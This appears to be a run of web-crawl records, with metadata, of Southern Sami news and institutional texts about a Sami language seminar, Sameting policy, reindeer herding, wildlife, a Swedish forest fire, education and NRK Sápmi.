maehtehtjh saemien gïelen sisnjelen tjöönghkeme, jïh gïeleutnijh böörede akten seminaarese Sajosne, Inarisnie rïhkeden 6.b. Seminaaresne edtja digkiedidh mah haestemh njieljie saemien gïelh utnieh gïelesujhtemen, normeradimmien jïh teermebarkoen sisnjeli. Aaj akte sjïere nuepie njieljie saemien gïelh govledh.\nGïeleseminaare aalkojne sjædta saemiedigkiej golmenjaepien raastendåaresth gïelelaavenjostoeprosjektese. Såevmien Saemiedigkien presidente, Tiina Sanila-Aikio seminaarem rïhpeste. Rïhpestimmieseminaare Gïelegaaltijen jåarhkeprosjektese lea ræhpas gaajhkesidie. Doh mah meatan tjuerieh jïjtje vuelkemen, jïjjedimmien jïh beapmoen åvteste maeksedh. Seminaare toelhkestamme sjædta såevmien ih sveerjen gielese.\nBuerie båeteme!\nSijjie: Solju – Sajos, Enare 6.10.2015\nSeminarijumen leah streamingh svaalhtesisnie http:\/\/www.sogku.fi\/live\/\nProgramme\n9.30 Prïhtjege\n10.00 Rïhpestimmie Saemien Parlamentarihkeles raerien åvtehkistie, Tiina Sanila Aikio\n10.15 Nöörjen Saemiedigkien presidente Aili Keskitalo\n10.30 Eino Koponen: Prinsihph gïelesujhtemen sisnjelen jïh dan sjïehtedimmie skoltesaemien gielese\n11.10 Johanna Ijäs: Iktedamme baakoeh noerhtesaemien jïh guktie dah tjaalasuvvieh\n11.50 Sámi Oahpahusguovddášen musihkelearohkh spielieh auditovrijisnie\n12.20 Gaskebeapmoe\n13.00 Petter Morottaja: Guktie Inarisaemien vaarjelidh?\n13.40 Svenn-Egil K. Duolljá: Såemies grammatihken njoelkedassh julevsaemien, mej våarome lea gïelenormeradimmie\n14.20 Märgge Uttjek: Upmejesaemiengïelen tsiehkie jïh ulmie\n15.00 Marko Marjomaa: Gïelegaaltije jåarhkeprosjekte\n15.15 Galhkuve\nÅenehks prosjekten bïjre\nSaemien Gïelegaaltije lea saemiej bijjemes faageorgaane jïh dam jollemes sjæjsjalimmiefaamoem åtna aamhtesinie saemien gïelen bïjre. Saemien Gïelegaaltije gïeleviehkiem faalehte jïh gyhtjelassh vaestede jïh raerieh vadta gïeleutniejidie. Saemien Gïelegaaltijen laavenjassi gaskem lea aaj teermebarkoe, gïelenormeradimmie jïh gïelesujhteme. Lissine Gïelegaaltije edtja bïevnesh geerjehtidh saemien gïeli jïh faagegyhtjelassi bïjre ektiedamme saemien gielide. Gïelegaaltijen jåarhkeprosjekte beetnehvierhtieh åådtje daejstie, Interreg V Noerhte bieliedajve Saepmie, Lapin liitto, Tromsen Fylhkentjïelte jïh Saemiedigkieh Nöörjesne, Sveerjesne jïh Såevmesne. Såevmien Saemiedigkie prosjektem stuvrie.","id":"","dump":"CC-MAIN-2017-26","url":"http:\/\/www.giella.org\/?lang=sma","date":"2017-06-28T06:59:21Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2017-26\/segments\/1498128322873.10\/warc\/CC-MAIN-20170628065139-20170628085139-00260.warc.gz","language":"sma","language_score":0.9990649819,"language_script":"Latn","minhash_cluster_size":3,"top_langs":"{\"sma_Latn_score\": 0.9990649819374084}","num_words":231,"character_repetition_ratio":0.08,"word_repetition_ratio":0.0,"special_characters_ratio":0.155,"stopwords_ratio":0.165,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Åssjalommes orreme jaepien 2007 raajeste, Nøørjen jih Sveerjen lintsiej gaskem laavenjostedh. Orre jaepien mænngan goerehtalleme mejtie nuepie gååvnese jih ektielisnie barkedh.\nRaaste bieliem.\nDaate vyøhkesjamme barkoe edtjieh Lijren, Raarvijhken jih Frøøstegen jih Hotagen gaskem årrodh.\nGöran Bergström lea lientsieåejvie Stræjmesne, dihte håhkoem åtna Nøørjen jih Sveerjen lientsieh edtjieh ektielisnie barkedh, daam jeahta NRK\/Trøøndelaagese.\n–Daate daerpies! Dah voenehkh raaste bieliem, edtjieh tjirkesvoetem utnedh.\nDaelie lientsie vaestiedassem vuerteminie, mejtie daate pilotprosjeekte Frøøstegen jih Lijren gaskem maahta aelkedh. Åssjalommes lea daate lientsie ektievyøki barkoe, edja, abpe raastebieliem Nøørjen jih Sveerjen gaskem sjïdtedh.\nDaate edtja lientsie barkoem dah smaave voenij gaskem bueriedidh gåessie mij heannnete.","id":"","dump":"CC-MAIN-2017-26","url":"https:\/\/www.nrk.no\/sapmi\/lientsieh-edtjieh-vyohkesidh-1.11769811","date":"2017-06-22T14:34:07Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2017-26\/segments\/1498128319575.19\/warc\/CC-MAIN-20170622135404-20170622155404-00203.warc.gz","language":"sma","language_score":0.9999969006,"language_script":"Latn","minhash_cluster_size":4,"top_langs":"{\"sma_Latn_score\": 0.9999969005584717}","num_words":100,"character_repetition_ratio":0.083,"word_repetition_ratio":0.0,"special_characters_ratio":0.164,"stopwords_ratio":0.09,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Minngemes laavvardahken dellie Noerhte Trøøndelaagen saemien saervie 40- luhkie jaepieh heevehtamme. Jijnjh saemieh tjåangkanamme daan Snåasen hotellesne, sijhtin meatan årrodh jih saemie saervien barkoem mojhteladtedh. Muvhth dejstie, åvtege jih sæjjasadtje sijjem åtneme jalltsh lihtsege sijjem mij saemie saerviem dåarjoehtamme. Daelie Grethe Dunfjeld Noerhte Trøøndelaagen saemie saervien åvtege. Dihte tuhtjie luste dagkeres heevehtimmie sjidti.\n– Saemie saervie jih Nøørjen saemiej rijhkesiebrie (NSR) vihkeles åarjelsaemide orreme. Saemien aamhtsi gujmie barkeme jih evtiedamme jih aaj daate sosiale gaavnehtimmie. Dihte daelie jeatjah-laakan sjidteme, Dunfjelde jeahta.\nNoeride eadtjaldovvedh.\nNSR lea dihte åejvie paartije Saemiedigkesne, dihte lea saemiej jijtjen paartije mij edtja saemien aamhtside fremmedh. Dunfjeld båetije beajjan tjoeperde.\n– Manne vuajnam dah saemien noerh, eah sijhth dagkeres saemien saervie ståvrosne tjahkasjidh. Daelie gååvnese daan jijnjh jeatjah siebre dåehkie jih jeatjah sosiale sijjie gusnie gaevniedieh. Im daejrieh guktie edtjebe daam doerelidh, Dunfjelde jeahta.\nNSRen noereh barkoe.\nNøørjen saemiej rijhkesiebrie(NSR) barkoeminie kultuvre, siebredahke jih bievnese barkone. NSR åtna gøøkte luhkie nielie saemie saervie siebrie, sijjien åelesne. Beaska Niilas NSRn åejvie tuhtjie noereh barkeme vihkeles.\n– NSR en noere vaeljehke joekoen barkoem darjoeh. Noerh åadtjoeh meatan daan siebre barkosne årrodh jih vihkelommes lea noere-barkone aelkedh. Noerh jijtje åadtjoeh noere barkoen bijre reeredh. Daate aaj vihkeles smaave sibrine buektiehtidh., Beaska Niilas jeahta.","id":"","dump":"CC-MAIN-2017-34","url":"https:\/\/www.nrk.no\/sapmi\/tjoeveribie-noeride-eadtjalgehtedh-1.12253262","date":"2017-08-22T13:32:59Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2017-34\/segments\/1502886110774.86\/warc\/CC-MAIN-20170822123737-20170822143737-00176.warc.gz","language":"sma","language_score":0.99999547,"language_script":"Latn","minhash_cluster_size":4,"top_langs":"{\"sma_Latn_score\": 0.9999954700469971}","num_words":199,"character_repetition_ratio":0.057,"word_repetition_ratio":0.0,"special_characters_ratio":0.158,"stopwords_ratio":0.09,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Maahtoedepartemeente lea Stoerredigkiebïevnesisnie nr. 21 (2016-2017) Lærelyst – Tidlig innsats og kvalitet i skolen, raeriestamme Saemien lohkemejarnge edtja dejtie seamma organisatovreles mierieh åadtjodh goh daan beajjetje nasjonaale jarngh, jïh seamma maadthbeetnehdåarjoem åadtjodh goh daah.\/ Kunnskapsdepartementet har i Stortingsmelding nr. 21 (2016-2017) Lærelyst – Tidlig innsats og kvalitet i skolen, fremmet forslag om at Senter for samisk i opplæringa skal få samme organisatoriske rammer som dagens nasjonale sentre, og få samme grunnfinansiering som disse.\n–Minngemosth libie goerkesem åådtjeme mijjen daerpiesvoeten åvteste jïh vïenhtebe daate sæjhta viehkiehtidh kvaliteetem saemien maanagïertine jïh skuvline nænnoestehtedh, saemiedigkiepresidente Vibeke Larsen jeahta.\nÅtnoem saemiengieleste eevtjie\nJienebh nasjonaale maahtoejarngh dan nöörjen skuvlese gååvnesieh, men ij guhte dan saemien skuvlese. Saemien lohkemejarnge lea jaepien 2007 raejeste akte seksjovne orreme Saemien jïlleskuvlen nuelesne. Jarnge ij leah staatusem åtneme goh nasjonaale jarnge jïh daate sæjhta jiehtedh dah eah leah seamma öörnedimmiem jïh beetnehdåarjoem åtneme goh doh nasjonaale jarngh.\nSaemien lohkemejarnge lea akte vierhtiejarnge joekoen stuvreme lïerehtimmiesysteemen vööste, maanagïerten raejeste jollebe ööhpehtimmien raajan. Saemien lohkemejarnge vijrieslaakan barka juktie njaalmeldh jïh tjaaleldh åtnoem saemien gïeleste eevtjedh årroji luvnie.\nJienebi jaepiej gæmhpoe lea illedahkh vadteme\nGellie jaepieh Saemiedigkie lea barkeme aktem goerkesem åadtjodh man vihkeles lea Saemien lohkemejarnge edtja seamma staatusem åadtjodh goh doh jeatjah nasjonaale jarngh, jïh daelie illedahkh daehtie barkoste vuajna. Saemiedigkie lea gaajhkine tjåanghkojne Maahtoedepartemeentine aamhtesem buakteme lissiehtamme ekonomeles mieriej bïjre Saemien lohkemejarngese, jïh minngemes aejkien lahtestimmiebarkosne dan bijjielisnie neebneme stoerredigkiebïevnesasse.\n–Mænngan gellie jaepieh gymhpeme åadtjobe minnegemosth aktem saemien maahtoejarngem seamma mieriekrïevenassigujmie goh doh jeatjah luhkie nasjonaale maahtoejarngh utnieh, presidente Vibeke Larsen jeahta.\nMaahtoedepartemeente, Saemien jïlleskuvle jïh Saemiedigkie edtjieh lïhke govlesadtemisnie laavenjasside vuartasjidh dan orre jarngese jïh guktie maahta dejtie sjïehtesjidh dej nasjonaale jarngigujmie. Soejkesjamme doh jarkelimmieh faamoem åadtjoeh tsïengelen 1.b. 2018.\n– Endelig har vi fått forståelse for behovet og tror at dette er med på å styrke kvaliteten i samiske barnehager og skoler, sier sametingspresident Vibeke Larsen.\nFremmer bruk av samisk\nDet finnes flere nasjonale kompetansesentre for den norske skolen, men ingen for den samiske. Senter for samisk i opplæringa har siden 2007 vært en liten seksjon underlagt Samisk høgskole. Senteret har ikke hatt status som nasjonalt senter og det betyr at de ikke har hatt samme organisering og finansiering som de nasjonale sentrene.\nSenter for samisk i opplæringen er et ressurssenter spesielt rettet mot opplæringssystemet fra barnehagestadiet til høyere utdanning. Senter for samisk i opplæringen arbeider vidt for å fremme muntlig og skriftlig bruk av samisk i befolkningen.\nFlere års kamp har gitt resultater\nSametinget har i flere år arbeidet for å få en forståelse for viktigheten av at Senter for samisk i opplæringen skal få samme status som de øvrige nasjonale sentrene, og ser nå frukter av dette arbeidet. Sametinget har ved alle mulige møtepunkt med Kunnskapsdepartementet fremmet saken om økte økonomiske rammer til Senter for samisk i opplæringa, og senest i forbindelse med innspillsarbeidet i forhold til ovennevnte stortingsmelding.\n– Etter flere års kamp får vi nå endelig et samisk kompetansesenter med like rammebetingelser som de øvrige ti nasjonale kompetansesentrene har, sier president Vibeke Larsen.\nKunnskapsdepartementet, Samisk høgskole og Sametinget skal i nær dialog se på oppgavene til det nye senteret og hvordan de kan harmoneres med de nasjonale sentrene. Det er planlagt at endringene iverksettes fra 1. januar 2018.","id":"","dump":"CC-MAIN-2017-39","url":"https:\/\/snasanytt.no\/2017\/07\/03\/saemien-lohkemejarnge-staatusem-aadtje-goh-nasjonaale-jarnge-senter-for-samisk-i-opplaeringa-far-status-som-nasjonalt-senter\/","date":"2017-09-23T05:32:02Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2017-39\/segments\/1505818689490.64\/warc\/CC-MAIN-20170923052100-20170923072100-00258.warc.gz","language":"sma","language_score":0.9845235944,"language_script":"Latn","minhash_cluster_size":3,"top_langs":"{\"sma_Latn_score\": 0.984523594379425, \"sme_Latn_score\": 0.010171381756663322}","num_words":521,"character_repetition_ratio":0.079,"word_repetition_ratio":0.0,"special_characters_ratio":0.157,"stopwords_ratio":0.065,"flagged_words_ratio":0.0,"lang_id_score":0.989,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Daelie duvrie Laakesen vuemesne, Namdaelesne fahkeme.\nMiljødirektoratet gïehtjeminie jis duvrie vijreme maahta gïjregen sjidtedh, deej dajvine gusnie jijnjh sïrvh jih bovtsh.\n–Stoerre tjoeperdimmie sjædta jis duvrie moetesjiminie. Dellie maehtebe daam duvriem vuetjedh, jeahta Tore Solstad Statens naturoppsyn NRKese.\nDæjmetje giesien, dellie duvrieh jijnjh sïrvh jih bovtsh gellieh dajvine moetesji. Daelie Solstad eevtjie almetjidie jih bievnedh jis duvriem vuehtieh.\n–Edtjebe duvrien goelkh, bajhkh tjøøngkedh jih govledh, gusnie almetjh duvriem vuajneme jih vuahteme, dellie daejrebe maan gellieh duvrie maahta gååvnesidh, jeahta Solstad.\nBaajh duvriem raeffesne årrodh.\nArnodd Håpnes lea faageåvtehke Naturvernforbundesne. Dihte tuhtjie almetjh edtjieh sjeavohth årrodh jis duvriem vuahteme.\nDuvrie edtja raeffesne gïjregen årrodh. Ibie maehtieh barre duvride vuedtjedh. Jis akte duvrie, jijnjem moetesjamme, dellie mijjieh aaj maehtebe luhpiedidh, daam duvriem vuedtjedh jeahta Håpnes.\nDaan saernien bijre NRK Trøøndelage tjaaleme.\n- Lohkh vielie","id":"","dump":"CC-MAIN-2017-39","url":"https:\/\/www.nrk.no\/sapmi\/duvrie-vijreme-gijregen.-1.11646990","date":"2017-09-19T17:56:41Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2017-39\/segments\/1505818685912.14\/warc\/CC-MAIN-20170919164651-20170919184651-00375.warc.gz","language":"sma","language_score":0.9999352694,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 0.9999352693557739}","num_words":131,"character_repetition_ratio":0.07,"word_repetition_ratio":0.0,"special_characters_ratio":0.156,"stopwords_ratio":0.061,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Ruevtieraajroe stoerre stuhtjem njeervie jis dihte stuhtje sååjhtoeh ruevtiegeajnosne. Daate stoerre tjoepere båatsoejielemasse gellieh jaepien orreme, Noerhtelaantesne jih aaj Trøøndelaagesne.\nRååresjimmie.\nDaelie Saemiedigkieraerien raeriesålma Thomas Åhren, Samferdsel- deepartemeentem jih Jernbaneverkem gaavnedamme jih rååresjamme daan stoerre tjoeperen bijre.\n– Mijjieh Saemiedigkesne jeahteme mij lea daerpies daarjodh jih aaj dah båatsoesaemieh tuhtjieh daate ruevtieraajroe daan jijnjh bovtsh njeervie, læjhkan ij leah ,dihte jernbaneverket maam dorjeme. Daelie tjoeveribie skodteldehtedh daam barkoem guktie heerrebe daam njeerveme tjoeperem, jeahta Åhren.\nGuktie daam njeervemem heerredidh.\nDihte Samferdseldeepartemeente jih Jernbaneverket vuejniejægan daan tjoeperem.\n– Gïehteliminie jih giedtie -boereh, muvhtene lehkesne, ruevtiegeajnoen mietie bigkedh. Naan aejkien båatsoesaemieh åadtjoeh haepkie viehkiem jih bovtsem tjøønghkelidh. Tjoeveribie Jernbaneverken barkoem reesedh.\nRuffien asken edtjieh Saemiedigkie jih Jerbaneverket jih dah båatsoesaemieh tjåangkenidh jih daan bijre rååresjidh.\n- Lohkh aaj:","id":"","dump":"CC-MAIN-2017-43","url":"https:\/\/www.nrk.no\/sapmi\/ruvevtieraajoe-stoerre-tjoepere.-1.11717046","date":"2017-10-23T19:14:03Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2017-43\/segments\/1508187826283.88\/warc\/CC-MAIN-20171023183146-20171023203146-00314.warc.gz","language":"sma","language_score":1.0,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 1.0}","num_words":123,"character_repetition_ratio":0.075,"word_repetition_ratio":0.0,"special_characters_ratio":0.137,"stopwords_ratio":0.122,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Dan ellen voestes aejkien Saemiedigkie aktem jïjtse bïevnesem duedtien bïjre buakta. Daate sjugniehtåvva Saemiedigkien stoerretjåanghkosne suehpeden 31.b. 2017.\/\nFor første gang avgir Sametinget en egen melding om duodji. Dette skjer på Sametingets plenum 31. mai 2017.\nDuedtie akte kultuvreguedtije jieleme mij stoerre ulmiem åtna saemien gïelese, kultuvrese jïh jielemeevtiedæmman. Dan åvteste vihkeles gorredidh duedtie guhkiebasse jeala dovne goh kultuvre jïh jieleme.\n–Saemiedigkie aktem ulmie åtna duedtiem evtiedidh goh jieleme, guktie jienebh maehtieh sijjen jieliemassem daestie veedtjedh, saemiedigkieraerie Inger Eline Eriksen jeahta.\nEriksen tjïelkeste lissiehtamme åesiestimmie jïjtsedorjeme duedteste akten stuerebe maarhkedese lea jarngesne Saemiedigkien barkosne. Daate sæjhta jiehtedh profesjonaliteete, tjeanadimmie jïh dïeneste jieliemisnie aaj tjuerieh læssanidh.\nTjuara jeatjah dåarjoeöörnegh vuarjasjidh\nSaemiedigkie ållesth 14 millijovnh kråvnah duadtan lyjki jaepien 2017. Ij leah naan jeatjah aktöörh mah maehtieh dagkeres dåarjelimmiem duadtan vuesiehtidh. 2016 Saemiedigkien dåarjelimmie duadtan lij 46 prosenth dejstie vierhtijste mejtie Saemiedigkie jieliemasse åtna. Dejstie vierhtijste mejtie lyjkin jaepien 2016, vielie goh göökte millijovnh gïehtelimsdåarjose åtnasovvin.\nJalhts vytnesjæjjah leah gïehtelimsdåarjoem åådtjeme, ij leah læjhkan lissiehtamme åesiestimmiem sjïdteme. Taalh duedtiejieliemistie vuesehte dïhte gaskemedtien vytnesjæjja lea jearohke gïehtelimsdåarjoste ihke altese gïehtelimmie edtja onne dïenestem åadtjodh.\n–Gosse akte viehkievierhtieöörnege Saemiedigkien luvnie ij juhtieh, dellie mijjieh goh politihkerh dïedtem utnebe dåarjoeöörnegem sjïehtedidh jallh jarkelidh guktie vaajteles effektem åadtjodh. Mijjieh mïelebe jeatjah dåarjoeöörnegh leah vielie maereles juktie duedtiejielemem nænnoestehtedh, goh vuesiehtimmien gaavhtan barkoestipende, saemiedigkieraerie Inger Eline Eriksen jeahta.\n–Motovrefealadimmielaake tjuara jeatjahtovvedh\nJienebh vytnesjæjjah leah jearohke ïebnh eatnamistie nuhtjedh. Haesteme lea dah eah naan laakevïedteldihkie reaktam utnieh miehtjesne vuejedh juktie ïebnide veedtjedh, men lea jearohke dispensasjovnem motovrefealadimmielaakeste åadtjodh. Akte dagkeres praksise vieliebarkoem vadta vytnesjæjjide, jïh ij leah saemien ussjedimmievuekien mietie.\n–Hævvi lij byøreme reaktam utnedh miehtjesne vuejedh jieliemisnie. Motovrefealadimmielaake tjuara jeatjahtovvedh guktie vytnesjæjjah mirrestellieh jeatjah jielemebarkijigujmie mah reaktam utnieh vuejedh, Eriksen minngemosth jeahta.\nPå norsk:\nBegrepet duodji brukes om samenes tradisjonelle kunsthåndverk og husflid. Duodji er en kulturbærende næring som har stor betydning for samisk språk, kultur og næringsutvikling. Det er derfor viktig å sikre at duodji overlever både som kultur og næring. Duodji har stor betydning for samisk identitet.\n– Sametinget har et mål om å utvikle duodji som næring, slik at flere kan hente sitt levebrød fra dette, sier sametingsråd Inger Eline Eriksen.\nEriksen forklarer at økt omsetning av egenprodusert duodji for et større marked står sentralt i Sametingets satsing. Dette innebærer også at profesjonaliteten, inntjeningen og lønnsomheten i næringen må økes.\nMå vurdere andre tilskuddsordninger\nSametinget satte i 2017 av kr 14 millioner til duodji totalt. Det er ingen andre aktører som kan vise til en slik satsing på duodji. I 2016 utgjorde Sametingets satsing på duodji 46 prosent av midlene som Sametinget disponerer til næring. Av midlene avsatt i 2016 ble over to millioner kroner brukt til driftstilskudd.\nSelv om duodjiutøvere har mottatt driftstilskudd, har imidlertid ikke dette ført til økt omsetning. Tall fra duodjinæringen viser at den gjennomsnittlige duodjiutøveren er avhengig av driftstilskudd for at virksomheten skal kunne drives med et marginalt overskudd.\n– Når en virkemiddelordning hos Sametinget ikke fungerer, har vi som politikere et ansvar for å tilpasse eller endre tilskuddsordningen for å oppnå ønsket effekt. Vi mener at andre tilskuddsordninger er mer hensiktsmessige for å styrke duodjinæringen, som for eksempel arbeidsstipend, sier sametingsråd Inger Eline Eriksen.\n– Motorferdselloven må endres\nFlere duodjiutøvere er avhengig av å bruke råvarer fra naturen. Utfordringen er at de ikke har en lovfestet rett til å kjøre i utmarka for å hente råvarer, men er avhengig av å få dispensasjon fra motorferdselsforbudet. En slik praksis fører til merarbeid for duodjiutøverne, og er ikke i tråd med samisk tankegang.\n– Det er klart at man burde ha en rett til å kjøre i utmarka i næringssammenheng. Motorferdselloven må endres slik at duodjiutøvere likestilles med andre næringsutøvere som har en rett til kjøring, avslutter Eriksen.","id":"","dump":"CC-MAIN-2017-43","url":"https:\/\/snasanytt.no\/2017\/05\/09\/saemiedigkie-duedtiejielemem-naennoestahta-sametinget-styrker-duodjinaeringen\/","date":"2017-10-17T11:41:04Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2017-43\/segments\/1508187821088.8\/warc\/CC-MAIN-20171017110249-20171017130249-00069.warc.gz","language":"sma","language_score":0.9871478081,"language_script":"Latn","minhash_cluster_size":4,"top_langs":"{\"sma_Latn_score\": 0.9871478080749512}","num_words":601,"character_repetition_ratio":0.054,"word_repetition_ratio":0.0,"special_characters_ratio":0.16,"stopwords_ratio":0.038,"flagged_words_ratio":0.0,"lang_id_score":0.99,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Abpe våhkam daelie Västmanlandesne bualeme. Dihte værtoes-bïegke daam dållem storre dajvem heeseleme. Daan mearan 10 000 hektare skåake bualalgovveme.\nIj leah naan aejkien, daan stoerre skåake dajve Sveerjesne bualeme.\nStravveminie daate dålle tsïhkijehti, gåessie daan ruevtie-geajnoen mietie røønjin. Dellie praedtieh novvijahti daam dållem, mij varkie biegke-raejkien mietie haaseni. Jijnjh almetjh tjoevereme deej sijjien hïejme gåetieh laehpielidh.\nGirte viehkie ålkoerijhkeste.\nJåktan dellie girtene viehkie Frankrihkeste jih Italienste bøøtigan, mij edtja viehkiehtidh jih daam stoerre dållem jamhkedh. Dah girth lean sjïehtesjamme dagkeres barkose. Akte haepkie maahta 1000 lijterh tjaetjie lutnedh jih fïerhten aejkien voelkehtidh, mearan dagkeres girte maahta 6000 lijhterh voelkehtidh.\nDihte soeve jih gaasa noerhtese jakseme.\nGellie almetjh maahteme daam soeve hapsanassem guhkene noerhtene Sveerjesne damteme. Daestie soevijste aaj gaasa sjædta mij daam eatnemem Sveerjesne gaptja.\nDaan mearan akte almetje daestie dålleste ååjsetalleme.","id":"","dump":"CC-MAIN-2017-47","url":"https:\/\/www.nrk.no\/sapmi\/stoerre-dalle-sveerjesne-buala-1.11866201","date":"2017-11-24T15:46:41Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2017-47\/segments\/1510934808254.76\/warc\/CC-MAIN-20171124142303-20171124162303-00730.warc.gz","language":"sma","language_score":0.9999909401,"language_script":"Latn","minhash_cluster_size":4,"top_langs":"{\"sma_Latn_score\": 0.9999909400939941}","num_words":128,"character_repetition_ratio":0.043,"word_repetition_ratio":0.0,"special_characters_ratio":0.163,"stopwords_ratio":0.062,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Jåarhkeööhpehtimmie lea dïhte stööremes dïenesjesuerkie fylhkendigkien dïedtesuerkien sisnjelen.\n- Mijjieh dïedtem utnebe 11 jåarhkeskuvli åvteste\n- 7000 noerh jïh geervh leah learohkh jallh lïerehtæjjah\n- Gellie tjuetie lïerehtimmielatjkoej bïjre seamede fïerhten jaepien\n- Vielie goh lehkiem fylhkendigkien maaksojste ööhpehtæmman juhtieh\nJåarhkeööhpehtimmie lea dïhte tjaangemeokse barkoejieliedasse jïh vijriebasse studijidie. Noerh mah maadthskuvlem tjïrrehtamme, reaktam utnieh jåarhkeööhpehtimmiem åadtjodh laaken mietie.","id":"","dump":"CC-MAIN-2018-05","url":"http:\/\/www.ntfk.no\/Aarjelsaemien\/Oohpehtimmie\/Sider\/default.aspx","date":"2018-01-17T05:27:41Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-05\/segments\/1516084886815.20\/warc\/CC-MAIN-20180117043259-20180117063259-00457.warc.gz","language":"sma","language_score":1.0000027418,"language_script":"Latn","minhash_cluster_size":4,"top_langs":"{\"sma_Latn_score\": 1.0000027418136597}","num_words":52,"character_repetition_ratio":0.098,"word_repetition_ratio":0.0,"special_characters_ratio":0.134,"stopwords_ratio":0.135,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"500 tåvsenh kråvnah sïeltese Rørosrein AS dåårje\nSaemiedigkieraerie Silje Karine Muotka jeahta Rørosrein AS hijven evtiedimmienuepieh åtna båetijen aejkien, jïh sïelte lea jienebh dorjesh bovtsenbearkoste evtiedamme jïh gellie stonkehke åestijh åtna daan biejjien.\nRørosrein AS tseegkesovvi 2010. Sïeltesne göökte åarjelsaemien fuelhkieh mah gåabpatjahkh bovtsigujmie gïehtelieh Røros-dajvesne. Åerpenh Eva Nordfjell jïh Knut Tørresdal leah gåabpegh båatsoeaajhterh Gåebrien Sïjtesne. Rørosrein AS njieljie jaepiebarkoeh åtna, govhte ihkuve barkijh jïh govhte barkijh lissine leekedimmieboelhken. Sïelte bovtsenbearkoem dorje jïh duaka.\nDorjesh duakasuvvieh sïelten tjïrrh Rørosmat, bovresne gaertienisnie, meessine, festivaaline jïh jïjtsh doekemen tjïrrh bovride jïh restaurantide. Sïelte aaj aktem stoerre derhviegåetiem gaertienisnie tseegkeme, gusnie bearkoem jïjtsh produksjovneste, jïjtjetjöönghkeme muerjieh\/goebperh jïh guelieh gåassoehtieh jïh åarjelsaemien båatsoen bïjre Røros-dajvesne soptsestieh guesside. Goh akte mierie sïelten bïjre daelvege dah leah såemies vuejemeråantjoeh deememe.\n– Dastegh Rørosrein AS edtja buektiehtidh dam hijven evtiedimmiem bæjjese fulkedh dellie vihkeles sïelte sov lokaalh stueriedieh, juktie dïhte sæjhta lissiehtamme produksjovnem jïh jollebe åesiestimmiem vedtedh, jïh dan åvteste saemiedigkieraerie ohtsemem dåårje, jeahta Silje Karine Muotka preessebïevnesisnie.","id":"","dump":"CC-MAIN-2018-05","url":"http:\/\/samimag.no\/sma\/content\/500-tavsenh-kravnah-sieltese-rorosrein-daarje","date":"2018-01-16T11:12:07Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-05\/segments\/1516084886416.17\/warc\/CC-MAIN-20180116105522-20180116125522-00344.warc.gz","language":"sma","language_score":0.999989748,"language_script":"Latn","minhash_cluster_size":5,"top_langs":"{\"sma_Latn_score\": 0.9999897480010986}","num_words":159,"character_repetition_ratio":0.061,"word_repetition_ratio":0.0,"special_characters_ratio":0.142,"stopwords_ratio":0.119,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Jalhts NRK Sápmi lea dïhte unnemes NRKen govhte goevtesijstie, dle dïhte dïhte stööremes saemien meedijeektievoete mij gååvnese. Mænngan 1983 NRK Sápmi sov åejviekontovrem åtneme Karasjohkesne (Nöörje).\nAkte dejstie njieljie saemien kringkasterijstie\nSaemieh leah doh aajnehke aalkoealmetjh Nöörjesne, Sveerjesne jïh Såevmesne. Saemieh aaj akte dejstie aalkoealmetjijstie Kolanjaarkesne Russlaantesne. Dïhte aerpievuekien årromedajve (Saepmie) abpe dam dajvem feerhmie (vuartesjh mïerhkesjimmiem kaarhtesne vuelielisnie).\nDovne Nöörje, Sveerje jïh Såevmie jïjtsh saemien kringkasterh utnieh (NRK Sápmi, SR Sameradion, SVT Sápmi jïh Yle Sápmi), mearan dïhte privaate eekeme saemieraadijove Kolanjaarkesne Russlaantesne lea nåhkelamme. Tjåanghkan dah njieljie saemien meedijeektievoeth Nöörjesne, Sveerjesne jïh Såevmesne abpe dam saemien dajvem (Saepmie) hoksehtieh, jïh jienebh sijjen saadtegijstie ektesne darjoeh. NRK Sápmi lea dïhte stööremes dejstie njieljijste, 110 barkijigujmie (2013). NRK Sápmi 246 tæjmoeh TV seedtie, 1754 tæjmoeh FM-raadijove jïh 6345 tæjmoeh digitaaleraadijovisnie (DAB)\/nedteraadijove fïerhten jaepien (2012). Lissine aaj dorjemasse tjaalegijstie jïh guvvijste nedtesne båata.\nÅejviebarkoe: Meedijedorjesh saemide darjodh\nNRK Sápmin åejviebarkoe lea faalenassem sisveginie darjodh saemien årroejidie, men goevtese edtja aaj daajroem vedtedh jïh bievnedh dan saemien siebriedahken bïjre dejtie jeatjah årroejidie.\nNRKen jaepiereektehtsisnie (2012) naemhtie tjåådtje: \"NRK Sápmi saemien sisvegem dorje NRKen ovmessie meedijesijjine. Dïhte saemien goevtese, åejviekontovrine Karasjohkesne, sov uvtemes barkoem åtna sisvegem faalehtidh dejtie saemien årroejidie. Lissine NRK dam saemien kultuvrem våajnoes dorje goh akte bielie dehtie nöörjen gellievoeteste viehkine dokumentareseerijijstie jïh sjïere 